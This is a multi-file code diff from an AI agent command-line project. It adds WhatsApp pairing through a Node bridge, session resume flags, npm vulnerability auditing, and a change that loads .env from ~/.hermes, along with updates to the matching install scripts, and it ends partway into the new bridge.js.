(PROJECT_ROOT / "scripts" / "whatsapp-bridge", "WhatsApp bridge"),
]
for npm_dir, label in npm_dirs:
if not (npm_dir / "node_modules").exists():
continue
try:
audit_result = subprocess.run(
["npm", "audit", "--json"],
cwd=str(npm_dir),
capture_output=True, text=True, timeout=30,
)
import json as _json
audit_data = _json.loads(audit_result.stdout) if audit_result.stdout.strip() else {}
vuln_count = audit_data.get("metadata", {}).get("vulnerabilities", {})
critical = vuln_count.get("critical", 0)
high = vuln_count.get("high", 0)
moderate = vuln_count.get("moderate", 0)
total = critical + high + moderate
if total == 0:
check_ok(f"{label} deps", "(no known vulnerabilities)")
elif critical > 0 or high > 0:
check_warn(
f"{label} deps",
f"({critical} critical, {high} high, {moderate} moderate — run: cd {npm_dir} && npm audit fix)"
)
issues.append(f"{label} has {total} npm vulnerability(ies)")
else:
check_ok(f"{label} deps", f"({moderate} moderate vulnerability(ies))")
except Exception:
pass
# =========================================================================
# Check: API connectivity
# =========================================================================
@ -477,14 +505,15 @@ def run_doctor(args):
check_ok(info.get("name", tid))
for item in unavailable:
if item["missing_vars"]:
vars_str = ", ".join(item["missing_vars"])
env_vars = item.get("missing_vars") or item.get("env_vars") or []
if env_vars:
vars_str = ", ".join(env_vars)
check_warn(item["name"], f"(missing {vars_str})")
else:
check_warn(item["name"], "(system dependency not met)")
# Count disabled tools with API key requirements
api_disabled = [u for u in unavailable if u["missing_vars"]]
api_disabled = [u for u in unavailable if (u.get("missing_vars") or u.get("env_vars"))]
if api_disabled:
issues.append("Run 'hermes setup' to configure missing API keys for full tool access")
except Exception as e:
@ -496,7 +525,7 @@ def run_doctor(args):
print()
print(color("◆ Skills Hub", Colors.CYAN, Colors.BOLD))
hub_dir = PROJECT_ROOT / "skills" / ".hub"
hub_dir = HERMES_HOME / "skills" / ".hub"
if hub_dir.exists():
check_ok("Skills Hub directory exists")
lock_file = hub_dir / "lock.json"
@ -515,7 +544,8 @@ def run_doctor(args):
else:
check_warn("Skills Hub directory not initialized", "(run: hermes skills list)")
github_token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
from hermes_cli.config import get_env_value
github_token = get_env_value("GITHUB_TOKEN") or get_env_value("GH_TOKEN")
if github_token:
check_ok("GitHub token configured (authenticated API access)")
else:

View file

@ -28,19 +28,26 @@ import argparse
import os
import sys
from pathlib import Path
from typing import Optional
# Add project root to path
PROJECT_ROOT = Path(__file__).parent.parent.resolve()
sys.path.insert(0, str(PROJECT_ROOT))
# Load .env file
# Load .env from ~/.hermes/.env first, then project root as dev fallback
from dotenv import load_dotenv
env_path = PROJECT_ROOT / '.env'
if env_path.exists():
from hermes_cli.config import get_env_path, get_hermes_home
_user_env = get_env_path()
if _user_env.exists():
try:
load_dotenv(dotenv_path=env_path, encoding="utf-8")
load_dotenv(dotenv_path=_user_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=env_path, encoding="latin-1")
load_dotenv(dotenv_path=_user_env, encoding="latin-1")
load_dotenv(dotenv_path=PROJECT_ROOT / '.env', override=False)
# Point mini-swe-agent at ~/.hermes/ so it shares our config
os.environ.setdefault("MSWEA_GLOBAL_CONFIG_DIR", str(get_hermes_home()))
os.environ.setdefault("MSWEA_SILENT_STARTUP", "1")
import logging
@ -91,8 +98,31 @@ def _has_any_provider_configured() -> bool:
return False
def _resolve_last_cli_session() -> Optional[str]:
"""Look up the most recent CLI session ID from SQLite. Returns None if unavailable."""
try:
from hermes_state import SessionDB
db = SessionDB()
sessions = db.search_sessions(source="cli", limit=1)
db.close()
if sessions:
return sessions[0]["id"]
except Exception:
pass
return None
def cmd_chat(args):
"""Run interactive chat CLI."""
# Resolve --continue into --resume with the latest CLI session
if getattr(args, "continue_last", False) and not getattr(args, "resume", None):
last_id = _resolve_last_cli_session()
if last_id:
args.resume = last_id
else:
print("No previous CLI session found to continue.")
sys.exit(1)
# First-run guard: check if any provider is configured before launching
if not _has_any_provider_configured():
print()
@ -121,6 +151,7 @@ def cmd_chat(args):
"toolsets": args.toolsets,
"verbose": args.verbose,
"query": args.query,
"resume": getattr(args, "resume", None),
}
# Filter out None values
kwargs = {k: v for k, v in kwargs.items() if v is not None}
@ -134,6 +165,116 @@ def cmd_gateway(args):
gateway_command(args)
def cmd_whatsapp(args):
"""Set up WhatsApp: enable, configure allowed users, install bridge, pair via QR."""
import os
import subprocess
from pathlib import Path
from hermes_cli.config import get_env_value, save_env_value
print()
print("⚕ WhatsApp Setup")
print("=" * 50)
print()
print("This will link your WhatsApp account to Hermes Agent.")
print("The agent will respond to messages sent to your WhatsApp number.")
print()
# Step 1: Enable WhatsApp
current = get_env_value("WHATSAPP_ENABLED")
if current and current.lower() == "true":
print("✓ WhatsApp is already enabled")
else:
save_env_value("WHATSAPP_ENABLED", "true")
print("✓ WhatsApp enabled")
# Step 2: Allowed users
current_users = get_env_value("WHATSAPP_ALLOWED_USERS") or ""
if current_users:
print(f"✓ Allowed users: {current_users}")
response = input("\n Update allowed users? [y/N] ").strip()
if response.lower() in ("y", "yes"):
phone = input(" Phone number(s) (e.g. 15551234567, comma-separated): ").strip()
if phone:
save_env_value("WHATSAPP_ALLOWED_USERS", phone.replace(" ", ""))
print(f" ✓ Updated to: {phone}")
else:
print()
phone = input(" Your phone number (e.g. 15551234567): ").strip()
if phone:
save_env_value("WHATSAPP_ALLOWED_USERS", phone.replace(" ", ""))
print(f" ✓ Allowed users set: {phone}")
else:
print(" ⚠ No allowlist — the agent will respond to ALL incoming messages")
# Step 3: Install bridge deps
project_root = Path(__file__).resolve().parents[1]
bridge_dir = project_root / "scripts" / "whatsapp-bridge"
bridge_script = bridge_dir / "bridge.js"
if not bridge_script.exists():
print(f"\n✗ Bridge script not found at {bridge_script}")
return
if not (bridge_dir / "node_modules").exists():
print("\n→ Installing WhatsApp bridge dependencies...")
result = subprocess.run(
["npm", "install"],
cwd=str(bridge_dir),
capture_output=True,
text=True,
timeout=120,
)
if result.returncode != 0:
print(f" ✗ npm install failed: {result.stderr}")
return
print(" ✓ Dependencies installed")
else:
print("✓ Bridge dependencies already installed")
# Step 4: Check for existing session
session_dir = Path.home() / ".hermes" / "whatsapp" / "session"
session_dir.mkdir(parents=True, exist_ok=True)
if (session_dir / "creds.json").exists():
print("✓ Existing WhatsApp session found")
response = input("\n Re-pair? This will clear the existing session. [y/N] ").strip()
if response.lower() in ("y", "yes"):
import shutil
shutil.rmtree(session_dir, ignore_errors=True)
session_dir.mkdir(parents=True, exist_ok=True)
print(" ✓ Session cleared")
else:
print("\n✓ WhatsApp is configured and paired!")
print(" Start the gateway with: hermes gateway")
return
# Step 5: Run bridge in pair-only mode (no HTTP server, exits after QR scan)
print()
print("" * 50)
print("📱 Scan the QR code with your phone:")
print(" WhatsApp → Settings → Linked Devices → Link a Device")
print("" * 50)
print()
try:
subprocess.run(
["node", str(bridge_script), "--pair-only", "--session", str(session_dir)],
cwd=str(bridge_dir),
)
except KeyboardInterrupt:
pass
print()
if (session_dir / "creds.json").exists():
print("✓ WhatsApp paired successfully!")
print()
print("Start the gateway with: hermes gateway")
print("Or install as a service: hermes gateway install")
else:
print("⚠ Pairing may not have completed. Run 'hermes whatsapp' to try again.")
def cmd_setup(args):
"""Interactive setup wizard."""
from hermes_cli.setup import run_setup_wizard
@ -682,6 +823,8 @@ def main():
Examples:
hermes Start interactive chat
hermes chat -q "Hello" Single query mode
hermes --continue Resume the most recent session
hermes --resume <session_id> Resume a specific session
hermes setup Run setup wizard
hermes login Authenticate with an inference provider
hermes logout Clear stored authentication
@ -691,6 +834,7 @@ Examples:
hermes config set model gpt-4 Set a config value
hermes gateway Run messaging gateway
hermes gateway install Install as system service
hermes sessions list List past sessions
hermes update Update to latest version
For more help on a command:
@ -703,6 +847,19 @@ For more help on a command:
action="store_true",
help="Show version and exit"
)
parser.add_argument(
"--resume", "-r",
metavar="SESSION_ID",
default=None,
help="Resume a previous session by ID (shortcut for: hermes chat --resume ID)"
)
parser.add_argument(
"--continue", "-c",
dest="continue_last",
action="store_true",
default=False,
help="Resume the most recent CLI session"
)
subparsers = parser.add_subparsers(dest="command", help="Command to run")
@ -737,6 +894,18 @@ For more help on a command:
action="store_true",
help="Verbose output"
)
chat_parser.add_argument(
"--resume", "-r",
metavar="SESSION_ID",
help="Resume a previous session by ID (shown on exit)"
)
chat_parser.add_argument(
"--continue", "-c",
dest="continue_last",
action="store_true",
default=False,
help="Resume the most recent CLI session"
)
chat_parser.set_defaults(func=cmd_chat)
# =========================================================================
@ -805,6 +974,16 @@ For more help on a command:
)
setup_parser.set_defaults(func=cmd_setup)
# =========================================================================
# whatsapp command
# =========================================================================
whatsapp_parser = subparsers.add_parser(
"whatsapp",
help="Set up WhatsApp integration",
description="Configure WhatsApp and pair via QR code"
)
whatsapp_parser.set_defaults(func=cmd_whatsapp)
# =========================================================================
# login command
# =========================================================================
@ -1233,6 +1412,17 @@ For more help on a command:
cmd_version(args)
return
# Handle top-level --resume / --continue as shortcut to chat
if (args.resume or args.continue_last) and args.command is None:
args.command = "chat"
args.query = None
args.model = None
args.provider = None
args.toolsets = None
args.verbose = False
cmd_chat(args)
return
# Default to chat if no command specified
if args.command is None:
args.query = None
@ -1240,6 +1430,8 @@ For more help on a command:
args.provider = None
args.toolsets = None
args.verbose = False
args.resume = None
args.continue_last = False
cmd_chat(args)
return

View file

@ -163,8 +163,15 @@ def prompt_checklist(title: str, items: list, pre_selected: list = None) -> list
try:
from simple_term_menu import TerminalMenu
import re
menu_items = [f" {item}" for item in items]
# Strip emoji characters from menu labels — simple_term_menu miscalculates
# visual width of emojis on macOS, causing duplicated/garbled lines.
_emoji_re = re.compile(
"[\U0001f300-\U0001f9ff\U00002600-\U000027bf\U0000fe00-\U0000fe0f"
"\U0001fa00-\U0001fa6f\U0001fa70-\U0001faff\u200d]+", flags=re.UNICODE
)
menu_items = [f" {_emoji_re.sub('', item).strip()}" for item in items]
# Map pre-selected indices to the actual menu entry strings
preselected = [menu_items[i] for i in pre_selected if i < len(menu_items)]
@ -1272,13 +1279,22 @@ def run_setup_wizard(args):
# WhatsApp
existing_whatsapp = get_env_value('WHATSAPP_ENABLED')
if not existing_whatsapp and prompt_yes_no("Set up WhatsApp?", False):
print_info("WhatsApp uses a bridge service for connectivity.")
print_info("See docs/messaging.md for detailed WhatsApp setup instructions.")
print_info("WhatsApp connects via a built-in bridge (Baileys).")
print_info("Requires Node.js (already installed if you have browser tools).")
print_info("On first gateway start, you'll scan a QR code with your phone.")
print()
if prompt_yes_no("Enable WhatsApp bridge?", True):
if prompt_yes_no("Enable WhatsApp?", True):
save_env_value("WHATSAPP_ENABLED", "true")
print_success("WhatsApp enabled")
print_info("Run 'hermes gateway' to complete WhatsApp pairing via QR code")
allowed_users = prompt(" Your phone number (e.g. 15551234567, comma-separated for multiple)")
if allowed_users:
save_env_value("WHATSAPP_ALLOWED_USERS", allowed_users.replace(" ", ""))
print_success("WhatsApp allowlist configured")
else:
print_info("⚠️ No allowlist set — anyone who messages your WhatsApp will get a response!")
print_info("Start the gateway with 'hermes gateway' and scan the QR code.")
# Gateway reminder
any_messaging = (

View file

@ -12,6 +12,7 @@ from pathlib import Path
PROJECT_ROOT = Path(__file__).parent.parent.resolve()
from hermes_cli.colors import Colors, color
from hermes_cli.config import get_env_path, get_env_value
from hermes_constants import OPENROUTER_MODELS_URL
def check_mark(ok: bool) -> str:
@ -65,7 +66,7 @@ def show_status(args):
print(f" Project: {PROJECT_ROOT}")
print(f" Python: {sys.version.split()[0]}")
env_path = PROJECT_ROOT / '.env'
env_path = get_env_path()
print(f" .env file: {check_mark(env_path.exists())} {'exists' if env_path.exists() else 'not found'}")
# =========================================================================
@ -88,7 +89,7 @@ def show_status(args):
}
for name, env_var in keys.items():
value = os.getenv(env_var, "")
value = get_env_value(env_var) or ""
has_key = bool(value)
display = redact_key(value) if not show_all else value
print(f" {name:<12} {check_mark(has_key)} {display}")

View file

@ -66,3 +66,10 @@ py-modules = ["run_agent", "model_tools", "toolsets", "batch_runner", "trajector
[tool.setuptools.packages.find]
include = ["tools", "hermes_cli", "gateway", "cron"]
[tool.pytest.ini_options]
testpaths = ["tests"]
markers = [
"integration: marks tests requiring external services (API keys, Modal, etc.)",
]
addopts = "-m 'not integration'"

View file

@ -27,19 +27,25 @@ from pathlib import Path
import fire
import yaml
# Load environment variables from .env file
# Load .env from ~/.hermes/.env first, then project root as dev fallback
from dotenv import load_dotenv
# Load from ~/.hermes/.env first, then local .env
hermes_env_path = Path.home() / '.hermes' / '.env'
local_env_path = Path(__file__).parent / '.env'
_hermes_home = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
_user_env = _hermes_home / ".env"
_project_env = Path(__file__).parent / '.env'
if hermes_env_path.exists():
load_dotenv(dotenv_path=hermes_env_path)
print(f"✅ Loaded environment variables from {hermes_env_path}")
elif local_env_path.exists():
load_dotenv(dotenv_path=local_env_path)
print(f"✅ Loaded environment variables from {local_env_path}")
if _user_env.exists():
try:
load_dotenv(dotenv_path=_user_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=_user_env, encoding="latin-1")
print(f"✅ Loaded environment variables from {_user_env}")
elif _project_env.exists():
try:
load_dotenv(dotenv_path=_project_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=_project_env, encoding="latin-1")
print(f"✅ Loaded environment variables from {_project_env}")
# Set terminal working directory to tinker-atropos submodule
# This ensures terminal commands run in the right context for RL work
@ -77,7 +83,7 @@ def load_hermes_config() -> dict:
Returns:
dict: Configuration with model, base_url, etc.
"""
config_path = Path.home() / '.hermes' / 'config.yaml'
config_path = _hermes_home / 'config.yaml'
config = {
"model": DEFAULT_MODEL,

View file

@ -39,19 +39,30 @@ import fire
from datetime import datetime
from pathlib import Path
# Load environment variables from .env file
# Load .env from ~/.hermes/.env first, then project root as dev fallback
from dotenv import load_dotenv
# Load .env file if it exists
env_path = Path(__file__).parent / '.env'
if env_path.exists():
_hermes_home = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
_user_env = _hermes_home / ".env"
_project_env = Path(__file__).parent / '.env'
if _user_env.exists():
try:
load_dotenv(dotenv_path=env_path, encoding="utf-8")
load_dotenv(dotenv_path=_user_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=env_path, encoding="latin-1")
logger.info("Loaded environment variables from %s", env_path)
load_dotenv(dotenv_path=_user_env, encoding="latin-1")
logger.info("Loaded environment variables from %s", _user_env)
elif _project_env.exists():
try:
load_dotenv(dotenv_path=_project_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=_project_env, encoding="latin-1")
logger.info("Loaded environment variables from %s", _project_env)
else:
logger.info("No .env file found at %s. Using system environment variables.", env_path)
logger.info("No .env file found. Using system environment variables.")
# Point mini-swe-agent at ~/.hermes/ so it shares our config
os.environ.setdefault("MSWEA_GLOBAL_CONFIG_DIR", str(_hermes_home))
os.environ.setdefault("MSWEA_SILENT_STARTUP", "1")
# Import our tool system
from model_tools import get_tool_definitions, handle_function_call, check_toolset_requirements

View file

@ -545,6 +545,7 @@ function Copy-ConfigTemplates {
New-Item -ItemType Directory -Force -Path "$HermesHome\audio_cache" | Out-Null
New-Item -ItemType Directory -Force -Path "$HermesHome\memories" | Out-Null
New-Item -ItemType Directory -Force -Path "$HermesHome\skills" | Out-Null
New-Item -ItemType Directory -Force -Path "$HermesHome\whatsapp\session" | Out-Null
# Create .env
$envPath = "$HermesHome\.env"
@ -626,7 +627,7 @@ function Install-NodeDeps {
Push-Location $InstallDir
if (Test-Path "package.json") {
Write-Info "Installing Node.js dependencies..."
Write-Info "Installing Node.js dependencies (browser tools)..."
try {
npm install --silent 2>&1 | Out-Null
Write-Success "Node.js dependencies installed"
@ -635,6 +636,20 @@ function Install-NodeDeps {
}
}
# Install WhatsApp bridge dependencies
$bridgeDir = "$InstallDir\scripts\whatsapp-bridge"
if (Test-Path "$bridgeDir\package.json") {
Write-Info "Installing WhatsApp bridge dependencies..."
Push-Location $bridgeDir
try {
npm install --silent 2>&1 | Out-Null
Write-Success "WhatsApp bridge dependencies installed"
} catch {
Write-Warn "WhatsApp bridge npm install failed (WhatsApp may not work)"
}
Pop-Location
}
Pop-Location
}
@ -673,6 +688,29 @@ function Start-GatewayIfConfigured {
if (-not $hasMessaging) { return }
$hermesCmd = "$InstallDir\venv\Scripts\hermes.exe"
if (-not (Test-Path $hermesCmd)) {
$hermesCmd = "hermes"
}
# If WhatsApp is enabled but not yet paired, run foreground for QR scan
$whatsappEnabled = $content | Where-Object { $_ -match "^WHATSAPP_ENABLED=true" }
$whatsappSession = "$HermesHome\whatsapp\session\creds.json"
if ($whatsappEnabled -and -not (Test-Path $whatsappSession)) {
Write-Host ""
Write-Info "WhatsApp is enabled but not yet paired."
Write-Info "Running 'hermes whatsapp' to pair via QR code..."
Write-Host ""
$response = Read-Host "Pair WhatsApp now? [Y/n]"
if ($response -eq "" -or $response -match "^[Yy]") {
try {
& $hermesCmd whatsapp
} catch {
# Expected after pairing completes
}
}
}
Write-Host ""
Write-Info "Messaging platform token detected!"
Write-Info "The gateway handles messaging platforms and cron job execution."
@ -680,11 +718,6 @@ function Start-GatewayIfConfigured {
$response = Read-Host "Would you like to start the gateway now? [Y/n]"
if ($response -eq "" -or $response -match "^[Yy]") {
$hermesCmd = "$InstallDir\venv\Scripts\hermes.exe"
if (-not (Test-Path $hermesCmd)) {
$hermesCmd = "hermes"
}
Write-Info "Starting gateway in background..."
try {
$logFile = "$HermesHome\logs\gateway.log"

View file

@ -140,7 +140,7 @@ detect_os() {
log_warn "Unknown operating system"
;;
esac
log_success "Detected: $OS ($DISTRO)"
}
@ -150,7 +150,7 @@ detect_os() {
install_uv() {
log_info "Checking for uv package manager..."
# Check common locations for uv
if command -v uv &> /dev/null; then
UV_CMD="uv"
@ -158,7 +158,7 @@ install_uv() {
log_success "uv found ($UV_VERSION)"
return 0
fi
# Check ~/.local/bin (default uv install location) even if not on PATH yet
if [ -x "$HOME/.local/bin/uv" ]; then
UV_CMD="$HOME/.local/bin/uv"
@ -166,7 +166,7 @@ install_uv() {
log_success "uv found at ~/.local/bin ($UV_VERSION)"
return 0
fi
# Check ~/.cargo/bin (alternative uv install location)
if [ -x "$HOME/.cargo/bin/uv" ]; then
UV_CMD="$HOME/.cargo/bin/uv"
@ -174,7 +174,7 @@ install_uv() {
log_success "uv found at ~/.cargo/bin ($UV_VERSION)"
return 0
fi
# Install uv
log_info "Installing uv (fast Python package manager)..."
if curl -LsSf https://astral.sh/uv/install.sh | sh 2>/dev/null; then
@ -201,7 +201,7 @@ install_uv() {
check_python() {
log_info "Checking Python $PYTHON_VERSION..."
# Let uv handle Python — it can download and manage Python versions
# First check if a suitable Python is already available
if $UV_CMD python find "$PYTHON_VERSION" &> /dev/null; then
@ -210,7 +210,7 @@ check_python() {
log_success "Python found: $PYTHON_FOUND_VERSION"
return 0
fi
# Python not found — use uv to install it (no sudo needed!)
log_info "Python $PYTHON_VERSION not found, installing via uv..."
if $UV_CMD python install "$PYTHON_VERSION"; then
@ -226,16 +226,16 @@ check_python() {
check_git() {
log_info "Checking Git..."
if command -v git &> /dev/null; then
GIT_VERSION=$(git --version | awk '{print $3}')
log_success "Git $GIT_VERSION found"
return 0
fi
log_error "Git not found"
log_info "Please install Git:"
case "$OS" in
linux)
case "$DISTRO" in
@ -258,7 +258,7 @@ check_git() {
log_info " Or: brew install git"
;;
esac
exit 1
}
@ -363,6 +363,7 @@ install_node() {
# Place into ~/.hermes/node/ and symlink binaries to ~/.local/bin/
rm -rf "$HERMES_HOME/node"
mkdir -p "$HERMES_HOME"
mv "$extracted_dir" "$HERMES_HOME/node"
rm -rf "$tmp_dir"
@ -523,7 +524,7 @@ show_manual_install_hint() {
clone_repo() {
log_info "Installing to $INSTALL_DIR..."
if [ -d "$INSTALL_DIR" ]; then
if [ -d "$INSTALL_DIR/.git" ]; then
log_info "Existing installation found, updating..."
@ -556,14 +557,14 @@ clone_repo() {
fi
fi
fi
cd "$INSTALL_DIR"
# Ensure submodules are initialized and updated (for existing installs or if --recurse failed)
log_info "Initializing submodules (mini-swe-agent, tinker-atropos)..."
git submodule update --init --recursive
log_success "Submodules ready"
log_success "Repository ready"
}
@ -572,33 +573,33 @@ setup_venv() {
log_info "Skipping virtual environment (--no-venv)"
return 0
fi
log_info "Creating virtual environment with Python $PYTHON_VERSION..."
if [ -d "venv" ]; then
log_info "Virtual environment already exists, recreating..."
rm -rf venv
fi
# uv creates the venv and pins the Python version in one step
$UV_CMD venv venv --python "$PYTHON_VERSION"
log_success "Virtual environment ready (Python $PYTHON_VERSION)"
}
install_deps() {
log_info "Installing dependencies..."
if [ "$USE_VENV" = true ]; then
# Tell uv to install into our venv (no need to activate)
export VIRTUAL_ENV="$INSTALL_DIR/venv"
fi
# Install the main package in editable mode with all extras
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
log_success "Main package installed"
# Install submodules
log_info "Installing mini-swe-agent (terminal tool backend)..."
if [ -d "mini-swe-agent" ] && [ -f "mini-swe-agent/pyproject.toml" ]; then
@ -607,7 +608,7 @@ install_deps() {
else
log_warn "mini-swe-agent not found (run: git submodule update --init)"
fi
log_info "Installing tinker-atropos (RL training backend)..."
if [ -d "tinker-atropos" ] && [ -f "tinker-atropos/pyproject.toml" ]; then
$UV_CMD pip install -e "./tinker-atropos" || log_warn "tinker-atropos install failed (RL tools may not work)"
@ -615,13 +616,13 @@ install_deps() {
else
log_warn "tinker-atropos not found (run: git submodule update --init)"
fi
log_success "All dependencies installed"
}
setup_path() {
log_info "Setting up hermes command..."
if [ "$USE_VENV" = true ]; then
HERMES_BIN="$INSTALL_DIR/venv/bin/hermes"
else
@ -631,12 +632,12 @@ setup_path() {
return 0
fi
fi
# Create symlink in ~/.local/bin (standard user binary location, usually on PATH)
mkdir -p "$HOME/.local/bin"
ln -sf "$HERMES_BIN" "$HOME/.local/bin/hermes"
log_success "Symlinked hermes → ~/.local/bin/hermes"
# Check if ~/.local/bin is on PATH; if not, add it to shell config
if ! echo "$PATH" | tr ':' '\n' | grep -q "^$HOME/.local/bin$"; then
SHELL_CONFIG=""
@ -649,9 +650,9 @@ setup_path() {
elif [ -n "$ZSH_VERSION" ] || [ -f "$HOME/.zshrc" ]; then
SHELL_CONFIG="$HOME/.zshrc"
fi
PATH_LINE='export PATH="$HOME/.local/bin:$PATH"'
if [ -n "$SHELL_CONFIG" ]; then
if ! grep -q '\.local/bin' "$SHELL_CONFIG" 2>/dev/null; then
echo "" >> "$SHELL_CONFIG"
@ -665,19 +666,19 @@ setup_path() {
else
log_info "~/.local/bin already on PATH"
fi
# Export for current session so hermes works immediately
export PATH="$HOME/.local/bin:$PATH"
log_success "hermes command ready"
}
copy_config_templates() {
log_info "Setting up configuration files..."
# Create ~/.hermes directory structure (config at top level, code in subdir)
mkdir -p "$HERMES_HOME"/{cron,sessions,logs,pairing,hooks,image_cache,audio_cache,memories,skills}
mkdir -p "$HERMES_HOME"/{cron,sessions,logs,pairing,hooks,image_cache,audio_cache,memories,skills,whatsapp/session}
# Create .env at ~/.hermes/.env (top level, easy to find)
if [ ! -f "$HERMES_HOME/.env" ]; then
if [ -f "$INSTALL_DIR/.env.example" ]; then
@ -690,7 +691,7 @@ copy_config_templates() {
else
log_info "~/.hermes/.env already exists, keeping it"
fi
# Create config.yaml at ~/.hermes/config.yaml (top level, easy to find)
if [ ! -f "$HERMES_HOME/config.yaml" ]; then
if [ -f "$INSTALL_DIR/cli-config.yaml.example" ]; then
@ -700,13 +701,13 @@ copy_config_templates() {
else
log_info "~/.hermes/config.yaml already exists, keeping it"
fi
# Create SOUL.md if it doesn't exist (global persona file)
if [ ! -f "$HERMES_HOME/SOUL.md" ]; then
cat > "$HERMES_HOME/SOUL.md" << 'SOUL_EOF'
# Hermes Agent Persona
<!--
<!--
This file defines the agent's personality and tone.
The agent will embody whatever you write here.
Edit this to customize how Hermes communicates with you.
@ -722,9 +723,9 @@ Delete the contents (or this file) to use the default personality.
SOUL_EOF
log_success "Created ~/.hermes/SOUL.md (edit to customize personality)"
fi
log_success "Configuration directory ready: ~/.hermes/"
# Seed bundled skills into ~/.hermes/skills/ (manifest-based, one-time per skill)
log_info "Syncing bundled skills to ~/.hermes/skills/ ..."
if "$INSTALL_DIR/venv/bin/python" "$INSTALL_DIR/tools/skills_sync.py" 2>/dev/null; then
@ -743,16 +744,25 @@ install_node_deps() {
log_info "Skipping Node.js dependencies (Node not installed)"
return 0
fi
if [ -f "$INSTALL_DIR/package.json" ]; then
log_info "Installing Node.js dependencies..."
log_info "Installing Node.js dependencies (browser tools)..."
cd "$INSTALL_DIR"
npm install --silent 2>/dev/null || {
log_warn "npm install failed (browser tools may not work)"
return 0
}
log_success "Node.js dependencies installed"
fi
# Install WhatsApp bridge dependencies
if [ -f "$INSTALL_DIR/scripts/whatsapp-bridge/package.json" ]; then
log_info "Installing WhatsApp bridge dependencies..."
cd "$INSTALL_DIR/scripts/whatsapp-bridge"
npm install --silent 2>/dev/null || {
log_warn "WhatsApp bridge npm install failed (WhatsApp may not work)"
}
log_success "WhatsApp bridge dependencies installed"
fi
}
run_setup_wizard() {
@ -760,13 +770,13 @@ run_setup_wizard() {
log_info "Skipping setup wizard (--skip-setup)"
return 0
fi
echo ""
log_info "Starting setup wizard..."
echo ""
cd "$INSTALL_DIR"
# Run hermes setup using the venv Python directly (no activation needed)
if [ "$USE_VENV" = true ]; then
"$INSTALL_DIR/venv/bin/python" -m hermes_cli.main setup
@ -798,6 +808,24 @@ maybe_start_gateway() {
echo ""
log_info "Messaging platform token detected!"
log_info "The gateway needs to be running for Hermes to send/receive messages."
# If WhatsApp is enabled and no session exists yet, run foreground first for QR scan
WHATSAPP_VAL=$(grep "^WHATSAPP_ENABLED=" "$ENV_FILE" 2>/dev/null | cut -d'=' -f2-)
WHATSAPP_SESSION="$HERMES_HOME/whatsapp/session/creds.json"
if [ "$WHATSAPP_VAL" = "true" ] && [ ! -f "$WHATSAPP_SESSION" ]; then
echo ""
log_info "WhatsApp is enabled but not yet paired."
log_info "Running 'hermes whatsapp' to pair via QR code..."
echo ""
read -p "Pair WhatsApp now? [Y/n] " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]] || [[ -z $REPLY ]]; then
HERMES_CMD="$HOME/.local/bin/hermes"
[ ! -x "$HERMES_CMD" ] && HERMES_CMD="hermes"
$HERMES_CMD whatsapp || true
fi
fi
echo ""
read -p "Would you like to install the gateway as a background service? [Y/n] " -n 1 -r
echo
@ -841,7 +869,7 @@ print_success() {
echo "└─────────────────────────────────────────────────────────┘"
echo -e "${NC}"
echo ""
# Show file locations
echo -e "${CYAN}${BOLD}📁 Your files (all in ~/.hermes/):${NC}"
echo ""
@ -850,7 +878,7 @@ print_success() {
echo -e " ${YELLOW}Data:${NC} ~/.hermes/cron/, sessions/, logs/"
echo -e " ${YELLOW}Code:${NC} ~/.hermes/hermes-agent/"
echo ""
echo -e "${CYAN}─────────────────────────────────────────────────────────${NC}"
echo ""
echo -e "${CYAN}${BOLD}🚀 Commands:${NC}"
@ -862,14 +890,14 @@ print_success() {
echo -e " ${GREEN}hermes gateway install${NC} Install gateway service (messaging + cron)"
echo -e " ${GREEN}hermes update${NC} Update to latest version"
echo ""
echo -e "${CYAN}─────────────────────────────────────────────────────────${NC}"
echo ""
echo -e "${YELLOW}⚡ Reload your shell to use 'hermes' command:${NC}"
echo ""
echo " source ~/.bashrc # or ~/.zshrc"
echo ""
# Show Node.js warning if auto-install failed
if [ "$HAS_NODE" = false ]; then
echo -e "${YELLOW}"
@ -878,7 +906,7 @@ print_success() {
echo " https://nodejs.org/en/download/"
echo -e "${NC}"
fi
# Show ripgrep note if not installed
if [ "$HAS_RIPGREP" = false ]; then
echo -e "${YELLOW}"
@ -895,14 +923,14 @@ print_success() {
main() {
print_banner
detect_os
install_uv
check_python
check_git
check_node
install_system_packages
clone_repo
setup_venv
install_deps
@ -911,7 +939,7 @@ main() {
copy_config_templates
run_setup_wizard
maybe_start_gateway
print_success
}

View file

@ -0,0 +1,278 @@
#!/usr/bin/env node
/**
* Hermes Agent WhatsApp Bridge
*
* Standalone Node.js process that connects to WhatsApp via Baileys
* and exposes HTTP endpoints for the Python gateway adapter.
*
* Endpoints (matches gateway/platforms/whatsapp.py expectations):
* GET /messages - Long-poll for new incoming messages
* POST /send - Send a message { chatId, message, replyTo? }
* POST /typing - Send typing indicator { chatId }
* GET /chat/:id - Get chat info
* GET /health - Health check
*
* Usage:
* node bridge.js --port 3000 --session ~/.hermes/whatsapp/session
*/
import { makeWASocket, useMultiFileAuthState, DisconnectReason, fetchLatestBaileysVersion } from '@whiskeysockets/baileys';
import express from 'express';
import { Boom } from '@hapi/boom';
import pino from 'pino';
import path from 'path';
import { mkdirSync } from 'fs';
import qrcode from 'qrcode-terminal';
// Parse CLI args
const args = process.argv.slice(2);
function getArg(name, defaultVal) {
const idx = args.indexOf(`--${name}`);
return idx !== -1 && args[idx + 1] ? args[idx + 1] : defaultVal;
}
const PORT = parseInt(getArg('port', '3000'), 10);
const SESSION_DIR = getArg('session', path.join(process.env.HOME || '~', '.hermes', 'whatsapp', 'session'));
const PAIR_ONLY = args.includes('--pair-only');
const ALLOWED_USERS = (process.env.WHATSAPP_ALLOWED_USERS || '').split(',').map(s => s.trim()).filter(Boolean);
mkdirSync(SESSION_DIR, { recursive: true });
const logger = pino({ level: 'warn' });
// Message queue for polling
const messageQueue = [];
const MAX_QUEUE_SIZE = 100;
let sock = null;
let connectionState = 'disconnected';
async function startSocket() {
